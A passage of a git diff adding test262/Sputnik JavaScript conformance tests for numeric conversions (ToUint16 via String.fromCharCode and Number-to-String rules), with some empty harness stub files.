+ $ERROR('#2: String.fromCharCode("-1.234").charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode("-1.234").charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T4.js b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T4.js
new file mode 100644
index 000000000..49627e759
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T4.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.7/S9.7_A3.1_T4.js
+ * @description Type(x) is Object
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (String.fromCharCode(object).charCodeAt(0) !== 1) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; String.fromCharCode(object).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(object).charCodeAt(0)));
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ object >>> 0;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object throw "error". Actual: ' + (object >>> 0));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ object >>> 0;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object throw TypeError. Actual: ' + (object >>> 0));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A3.2_T1.js b/js/src/tests/test262/ch09/9.7/S9.7_A3.2_T1.js
new file mode 100644
index 000000000..b7b6ecbbe
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A3.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses floor, abs
+ *
+ * @path ch09/9.7/S9.7_A3.2_T1.js
+ * @description For testing use String.fromCharCode(Number).charCodeAt(0) construction
+ */
+
+// CHECK#1
+if (String.fromCharCode(1.2345).charCodeAt(0) !== 1) {
+ $ERROR('#1: String.fromCharCode(1.2345).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(1.2345).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode(-5.4321).charCodeAt(0) !== 65531) {
+ $ERROR('#2: String.fromCharCode(-5.4321).charCodeAt(0) === 65531. Actual: ' + (String.fromCharCode(-5.4321).charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/browser.js b/js/src/tests/test262/ch09/9.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/browser.js
diff --git a/js/src/tests/test262/ch09/9.7/shell.js b/js/src/tests/test262/ch09/9.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/shell.js
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A1.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A1.js
new file mode 100644
index 000000000..b51e4cca1
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If m is NaN, return the string "NaN"
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A1.js
+ * @description NaN convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(NaN) !== "NaN") {
+ $ERROR('#1: String(NaN) === Not-a-Number Actual: ' + (String(NaN)));
+}
+
+// CHECK#2
+if (String(Number.NaN) !== "NaN") {
+ $ERROR('#2: String(Number.NaN) === Not-a-Number Actual: ' + (String(Number.NaN)));
+}
+
+// CHECK#3
+if (String(Number("asasa")) !== "NaN") {
+ $ERROR('#3: String(Number("asasa")) === Not-a-Number Actual: ' + (String(Number("asasa"))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A10.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A10.js
new file mode 100644
index 000000000..17fa40697
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A10.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Return the string consisting of the most significant
+ * digit of the decimal representation of s, followed by a decimal point '.',
+ * followed by the remaining k-1 digits of the decimal representation of s,
+ * followed by the lowercase character 'e', followed by a plus sign '+' or
+ * minus sign '-' according to whether n-1 is positive or negative, followed
+ * by the decimal representation of the integer abs(n-1) (with no leading zeros)
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A10.js
+ * @description Various float numbers convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(1.2345) !== "1.2345") {
+ $ERROR('#1: String(1.2345) === "1.2345". Actual: ' + (String(1.2345)));
+}
+
+// CHECK#2
+if (String(1.234567890) !== "1.23456789") {
+ $ERROR('#2: String(1.234567890) === "1.23456789". Actual: ' + (String(1.234567890)));
+}
+
+// CHECK#3
+if (String(0.12345) !== "0.12345") {
+ $ERROR('#3: String(0.12345) === "0.12345". Actual: ' + (String(0.12345)));
+}
+
+// CHECK#4
+if (String(.012345) !== "0.012345") {
+ $ERROR('#4: String(.012345) === "0.012345". Actual: ' + (String(.012345)));
+}
+
+// CHECK#5
+if (String(.0012345) !== "0.0012345") {
+ $ERROR('#5: String(.0012345) === "0.0012345". Actual: ' + (String(.0012345)));
+}
+
+// CHECK#6
+if (String(.00012345) !== "0.00012345") {
+ $ERROR('#6: String(.00012345) === "0.00012345". Actual: ' + (String(.00012345)));
+}
+
+// CHECK#7
+if (String(.000012345) !== "0.000012345") {
+ $ERROR('#7: String(.000012345) === "0.000012345". Actual: ' + (String(.000012345)));
+}
+
+// CHECK#8
+if (String(.0000012345) !== "0.0000012345") {
+ $ERROR('#8: String(.0000012345) === "0.0000012345". Actual: ' + (String(.0000012345)));
+}
+
+// CHECK#9
+if (String(.00000012345) !== "1.2345e-7") {
+ $ERROR('#9: String(.00000012345) === "1.2345e-7". Actual: ' + (String(.00000012345)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A2.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A2.js
new file mode 100644
index 000000000..adc8e1f5e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If m is +0 or -0, return the string "0"
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A2.js
+ * @description +0 and -0 convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(+0) !== "0") {
+ $ERROR('#1: String(+0) === "0". Actual: ' + (String(+0)));
+}
+
+// CHECK#2
+if (String(-0) !== "0") {
+ $ERROR('#2: String(-0) === "0". Actual: ' + (String(-0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A3.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A3.js
new file mode 100644
index 000000000..3945f2279
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If m is less than zero, return the string concatenation of the
+ * string "-" and ToString(-m)
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A3.js
+ * @description -1234567890 convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(-1234567890) !== "-1234567890") {
+ $ERROR('#1: String(-1234567890) === "-1234567890". Actual: ' + (String(-1234567890)));
+}
+
+// CHECK#2
+if ("-"+String(-(-1234567890)) !== "-1234567890") {
+ $ERROR('#2: "-"+String(-(-1234567890)) === "-1234567890". Actual: ' + ("-"+String(-(-1234567890))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A4.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A4.js
new file mode 100644
index 000000000..f71ac7557
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If m is infinity, return the string "Infinity"
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A4.js
+ * @description +/-Infinity convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(Infinity) !== "Infinity") {
+ $ERROR('#1: String(Infinity) === "Infinity". Actual: ' + (String(Infinity)));
+}
+
+// CHECK#2
+if (String(Number.POSITIVE_INFINITY) !== "Infinity") {
+ $ERROR('#2: String(Number.POSITIVE_INFINITY) === "Infinity". Actual: ' + (String(Number.POSITIVE_INFINITY)));
+}
+
+// CHECK#3
+if (String(-Infinity) !== "-Infinity") {
+ $ERROR('#3: String(-Infinity) === "-Infinity". Actual: ' + (String(-Infinity)));
+}
+
+// CHECK#4
+if (String(Number.NEGATIVE_INFINITY) !== "-Infinity") {
+ $ERROR('#4: String(Number.NEGATIVE_INFINITY) === "-Infinity". Actual: ' + (String(Number.NEGATIVE_INFINITY)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A6.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A6.js
new file mode 100644
index 000000000..8b9ddf42e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A6.js
@@ -0,0 +1,93 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If 1 <= s < 1e21 or -1e21 s < -1, return the string
+ * consisting of the k digits of the decimal representation of s (in order,
+ * with no leading zeroes), followed by n-k occurrences of the character '0'
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A6.js
+ * @description Various integer numbers convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(1) !== "1") {
+ $ERROR('#1: String(1) === "1". Actual: ' + (String(1)));
+}
+
+// CHECK#2
+if (String(10) !== "10") {
+ $ERROR('#2: String(10) === "10". Actual: ' + (String(10)));
+}
+
+// CHECK#3
+if (String(100) !== "100") {
+ $ERROR('#3: String(100) === "100". Actual: ' + (String(100)));
+}
+
+// CHECK#4
+if (String(100000000000000000000) !== "100000000000000000000") {
+ $ERROR('#4: String(100000000000000000000) === "100000000000000000000". Actual: ' + (String(100000000000000000000)));
+}
+
+// CHECK#5
+if (String(1e20) !== "100000000000000000000") {
+ $ERROR('#5: String(1e20) === "100000000000000000000". Actual: ' + (String(1e20)));
+}
+
+// CHECK#6
+if (String(12345) !== "12345") {
+ $ERROR('#6: String(12345) === "12345". Actual: ' + (String(12345)));
+}
+
+// CHECK#7
+if (String(12345000) !== "12345000") {
+ $ERROR('#7: String(12345000) === "12345000". Actual: ' + (String(12345000)));
+}
+
+// CHECK#8
+if (String(-1) !== "-1") {
+ $ERROR('#8: String(-1) === "-1". Actual: ' + (String(-1)));
+}
+
+// CHECK#9
+if (String(-10) !== "-10") {
+ $ERROR('#9: String(-10) === "-10". Actual: ' + (String(-10)));
+}
+
+// CHECK#10
+if (String(-100) !== "-100") {
+ $ERROR('#3: String(-100) === "-100". Actual: ' + (String(-100)));
+}
+
+// CHECK#10
+if (String(-100000000000000000000) !== "-100000000000000000000") {
+ $ERROR('#10: String(-100000000000000000000) === "-100000000000000000000". Actual: ' + (String(-100000000000000000000)));
+}
+
+// CHECK#11
+if (String(-1e20) !== "-100000000000000000000") {
+ $ERROR('#11: String(-1e20) === "-100000000000000000000". Actual: ' + (String(-1e20)));
+}
+
+// CHECK#12
+if (String(-12345) !== "-12345") {
+ $ERROR('#12: String(-12345) === "-12345". Actual: ' + (String(-12345)));
+}
+
+// CHECK#13
+if (String(-12345000) !== "-12345000") {
+ $ERROR('#13: String(-12345000) === "-12345000". Actual: ' + (String(-12345000)));
+}
+
+// CHECK#14
+if (String(1E20) !== "100000000000000000000") {
+ $ERROR('#14: String(1E20) === "100000000000000000000". Actual: ' + (String(1E20)));
+}
+
+// CHECK#15
+if (String(-1E20) !== "-100000000000000000000") {
+ $ERROR('#15: String(-1E20) === "-100000000000000000000". Actual: ' + (String(-1E20)));
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A7.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A7.js
new file mode 100644
index 000000000..5ad14c25d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A7.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If 1 <= s < 1e21 or -1e21 s < -1 and s has a fractional
+ * component, return the string consisting of the most significant n digits of
+ * the decimal representation of s, followed by a decimal point '.',
+ * followed by the remaining k-n digits of the decimal representation of s
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A7.js
+ * @description 1.0000001 and -1.0000001 convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(1.0000001) !== "1.0000001") {
+ $ERROR('#1: String(1.0000001) === "1.0000001". Actual: ' + (String(1.0000001)));
+}
+
+// CHECK#2
+if (String(-1.0000001) !== "-1.0000001") {
+ $ERROR('#2: String(-1.0000001) === "-1.0000001". Actual: ' + (String(-1.0000001)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A8.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A8.js
new file mode 100644
index 000000000..91efe0b52
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A8.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If 1 > s > -1, and -6 < n <= 0, return the string consisting of the
+ * character '0', followed by a decimal point '.', followed by -n occurrences
+ * of the character '0', followed by the k digits of the decimal
+ * representation of s
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A8.js
+ * @description Various float numbers convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(0.1) !== "0.1") {
+ $ERROR('#1: String(0.1) === "0.1". Actual: ' + (String(0.1)));
+}
+
+// CHECK#2
+if (String(0.000001) !== "0.000001") {
+ $ERROR('#2: String(0.000001) === "0.000001". Actual: ' + (String(0.000001)));
+}
+
+// CHECK#3
+if (String(1e-6) !== "0.000001") {
+ $ERROR('#3: String(1e-6) === "0.000001". Actual: ' + (String(1e-6)));
+}
+
+// CHECK#4
+if (String(1E-6) !== "0.000001") {
+ $ERROR('#4: String(1E-6) === "0.000001". Actual: ' + (String(1E-6)));
+}
+
+// CHECK#5
+if (String(-0.1) !== "-0.1") {
+ $ERROR('#5: String(-0.1) === "-0.1". Actual: ' + (String(-0.1)));
+}
+
+// CHECK#6
+if (String(-0.000001) !== "-0.000001") {
+ $ERROR('#6: String(-0.000001) === "-0.000001". Actual: ' + (String(-0.000001)));
+}
+
+// CHECK#7
+if (String(-1e-6) !== "-0.000001") {
+ $ERROR('#7: String(-1e-6) === "0.000001". Actual: ' + (String(-1e-6)));
+}
+
+// CHECK#8
+if (String(-1E-6) !== "-0.000001") {
+ $ERROR('#8: String(-1E-6) === "0.000001". Actual: ' + (String(-1E-6)));
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T1.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T1.js
new file mode 100644
index 000000000..d4614194b
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T1.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Return the string consisting of the single digit of s,
+ * followed by lowercase character 'e', followed by a plus sign '+' or minus
+ * sign '-' according to whether n-1 is positive or negative, followed by the
+ * decimal representation of the integer abs(n-1) (with no leading zeros)
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A9_T1.js
+ * @description Various big numbers convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(1000000000000000000000) !== "1e+21") {
+ $ERROR('#1: String(1000000000000000000000) === "1e+21". Actual: ' + (String(1000000000000000000000)));
+}
+
+// CHECK#2
+if (String(10000000000000000000000) !== "1e+22") {
+ $ERROR('#2: String(10000000000000000000000) === "1e+22". Actual: ' + (String(10000000000000000000000)));
+}
+
+// CHECK#3
+if (String(1e21) !== "1e+21") {
+ $ERROR('#3: String(1e21) === "1e+21". Actual: ' + (String(1e21)));
+}
+
+// CHECK#4
+if (String(1.0e22) !== "1e+22") {
+ $ERROR('#4: String(1.0e22) === "1e+22". Actual: ' + (String(1.0e22)));
+}
+
+// CHECK#5
+if (String(1E21) !== "1e+21") {
+ $ERROR('#5: String(1E21) === "1e+21". Actual: ' + (String(1E21)));
+}
+
+// CHECK#6
+if (String(1.0E22) !== "1e+22") {
+ $ERROR('#6: String(1.0E22) === "1e+22". Actual: ' + (String(1.0E22)));
+}
+
+// CHECK#7
+if (String(-1000000000000000000000) !== "-1e+21") {
+ $ERROR('#7: String(-1000000000000000000000) === "-1e+21". Actual: ' + (String(-1000000000000000000000)));
+}
+
+// CHECK#8
+if (String(-10000000000000000000000) !== "-1e+22") {
+ $ERROR('#8: String(-10000000000000000000000) === "-1e+22". Actual: ' + (String(-10000000000000000000000)));
+}
+
+// CHECK#9
+if (String(-1e21) !== "-1e+21") {
+ $ERROR('#9: String(-1e21) === "-1e+21". Actual: ' + (String(-1e21)));
+}
+
+// CHECK#10
+if (String(-1.0e22) !== "-1e+22") {
+ $ERROR('#10: String(-1.0e22) === "-1e+22". Actual: ' + (String(-1.0e22)));
+}
+
+// CHECK#11
+if (String(-1E21) !== "-1e+21") {
+ $ERROR('#11: String(-1E21) === "-1e+21". Actual: ' + (String(-1E21)));
+}
+
+// CHECK#12
+if (String(-1.0E22) !== "-1e+22") {
+ $ERROR('#12: String(-1.0E22) === "-1e+22". Actual: ' + (String(-1.0E22)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T2.js b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T2.js
new file mode 100644
index 000000000..79ca7873e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/S9.8.1_A9_T2.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Return the string consisting of the single digit of s,
+ * followed by lowercase character 'e', followed by a plus sign '+' or minus
+ * sign '-' according to whether n-1 is positive or negative, followed by the
+ * decimal representation of the integer abs(n-1) (with no leading zeros)
+ *
+ * @path ch09/9.8/9.8.1/S9.8.1_A9_T2.js
+ * @description Various float numbers with many zeros convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(0.0000001) !== "1e-7") {
+ $ERROR('#1: String(0.0000001) === "1e-7". Actual: ' + (String(0.0000001)));
+}
+
+// CHECK#2
+if (String(0.000000000100000000000) !== "1e-10") {
+ $ERROR('#2: String(0.000000000100000000000) === "1e-10". Actual: ' + (String(0.000000000100000000000)));
+}
+
+// CHECK#3
+if (String(1e-7) !== "1e-7") {
+ $ERROR('#3: String(1e-7) === "1e-7". Actual: ' + (String(1e-7)));
+}
+
+// CHECK#4
+if (String(1.0e-10) !== "1e-10") {
+ $ERROR('#4: String(1.0e-10) === "1e-10". Actual: ' + (String(1.0e-10)));
+}
+
+// CHECK#5
+if (String(1E-7) !== "1e-7") {
+ $ERROR('#5: String(1E-7) === "1e-7". Actual: ' + (String(1E-7)));
+}
+
+// CHECK#6
+if (String(1.0E-10) !== "1e-10") {
+ $ERROR('#6: String(1.0E-10) === "1e-10". Actual: ' + (String(1.0E-10)));
+}
+
+// CHECK#7
+if (String(-0.0000001) !== "-1e-7") {
+ $ERROR('#7: String(-0.0000001) === "1e-7". Actual: ' + (String(-0.0000001)));
+}
+
+// CHECK#8
+if (String(-0.000000000100000000000) !== "-1e-10") {
+ $ERROR('#8: String(-0.000000000100000000000) === "1e-10". Actual: ' + (String(-0.000000000100000000000)));
+}
+
+// CHECK#9
+if (String(-1e-7) !== "-1e-7") {
+ $ERROR('#9: String(-1e-7) === "-1e-7". Actual: ' + (String(-1e-7)));
+}
+
+// CHECK#10
+if (String(-1.0e-10) !== "-1e-10") {
+ $ERROR('#10: String(-1.0e-10) === "-1e-10". Actual: ' + (String(-1.0e-10)));
+}
+
+// CHECK#11
+if (String(-1E-7) !== "-1e-7") {
+ $ERROR('#11: String(-1E-7) === "-1e-7". Actual: ' + (String(-1E-7)));
+}
+
+// CHECK#12
+if (String(-1.0E-10) !== "-1e-10") {
+ $ERROR('#12: String(-1.0E-10) === "-1e-10". Actual: ' + (String(-1.0E-10)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/browser.js b/js/src/tests/test262/ch09/9.8/9.8.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/browser.js
diff --git a/js/src/tests/test262/ch09/9.8/9.8.1/shell.js b/js/src/tests/test262/ch09/9.8/9.8.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/9.8.1/shell.js
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A1_T1.js b/js/src/tests/test262/ch09/9.8/S9.8_A1_T1.js
new file mode 100644
index 000000000..efce3a546
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A1_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from undefined value is "undefined"
+ *
+ * @path ch09/9.8/S9.8_A1_T1.js
+ * @description Undefined values is undefined, void 0 and eval("var x"). Use explicit transformation
+ */
+
+// CHECK#1
+if (String(undefined) !== "undefined") {
+ $ERROR('#1: String(undefined) === "undefined". Actual: ' + (String(undefined)));
+}
+
+// CHECK#2
+if (String(void 0) !== "undefined") {
+ $ERROR('#2: String(void 0) === "undefined". Actual: ' + (String(void 0)));
+}
+
+// CHECK#3
+if (String(eval("var x")) !== "undefined") {
+ $ERROR('#3: String(eval("var x")) === "undefined" . Actual: ' + (String(eval("var x"))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A1_T2.js b/js/src/tests/test262/ch09/9.8/S9.8_A1_T2.js
new file mode 100644
index 000000000..dd26c11b4
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A1_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from undefined value is "undefined"
+ *
+ * @path ch09/9.8/S9.8_A1_T2.js
+ * @description Undefined values is undefined, void 0 and eval("var x"). Use implicit transformation
+ */
+
+// CHECK#1
+if (undefined + "" !== "undefined") {
+ $ERROR('#1: undefined + "" === "undefined". Actual: ' + (undefined + ""));
+}
+
+// CHECK#2
+if (void 0 + "" !== "undefined") {
+ $ERROR('#2: void 0 + "" === "undefined". Actual: ' + (void 0 + ""));
+}
+
+// CHECK#3
+if (eval("var x") + "" !== "undefined") {
+ $ERROR('#3: eval("var x") + "" === "undefined". Actual: ' + (eval("var x") + ""));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A2_T1.js b/js/src/tests/test262/ch09/9.8/S9.8_A2_T1.js
new file mode 100644
index 000000000..0a1b982b7
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A2_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from null value is "null"
+ *
+ * @path ch09/9.8/S9.8_A2_T1.js
+ * @description null convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(null) !== "null") {
+ $ERROR('#1: String(null) === "null". Actual: ' + (String(null)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A2_T2.js b/js/src/tests/test262/ch09/9.8/S9.8_A2_T2.js
new file mode 100644
index 000000000..3b760909b
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A2_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from null value is "null"
+ *
+ * @path ch09/9.8/S9.8_A2_T2.js
+ * @description null convert to String by implicit transformation
+ */
+
+// CHECK#1
+if (null + "" !== "null") {
+ $ERROR('#1: null + "" === "null". Actual: ' + (null + ""));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A3_T1.js b/js/src/tests/test262/ch09/9.8/S9.8_A3_T1.js
new file mode 100644
index 000000000..cc267edc8
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A3_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from boolean value is "true" if
+ * the argument is "true", else is "false"
+ *
+ * @path ch09/9.8/S9.8_A3_T1.js
+ * @description True and false convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(false) !== "false") {
+ $ERROR('#1: String(false) === "false". Actual: ' + (String(false)));
+}
+
+// CHECK#2
+if (String(true) !== "true") {
+ $ERROR('#2: String(true) === "true". Actual: ' + (String(true)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A3_T2.js b/js/src/tests/test262/ch09/9.8/S9.8_A3_T2.js
new file mode 100644
index 000000000..788bcb58d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A3_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of ToString conversion from boolean value is "true" if
+ * the argument is "true", else is "false"
+ *
+ * @path ch09/9.8/S9.8_A3_T2.js
+ * @description True and false convert to String by implicit transformation
+ */
+
+// CHECK#1
+if (false + "" !== "false") {
+ $ERROR('#1: false + "" === "false". Actual: ' + (false + ""));
+}
+
+// CHECK#2
+if (true + "" !== "true") {
+ $ERROR('#2: true + "" === "true". Actual: ' + (true + ""));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A4_T1.js b/js/src/tests/test262/ch09/9.8/S9.8_A4_T1.js
new file mode 100644
index 000000000..064458461
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of String conversion from string value is the input argument (no conversion)
+ *
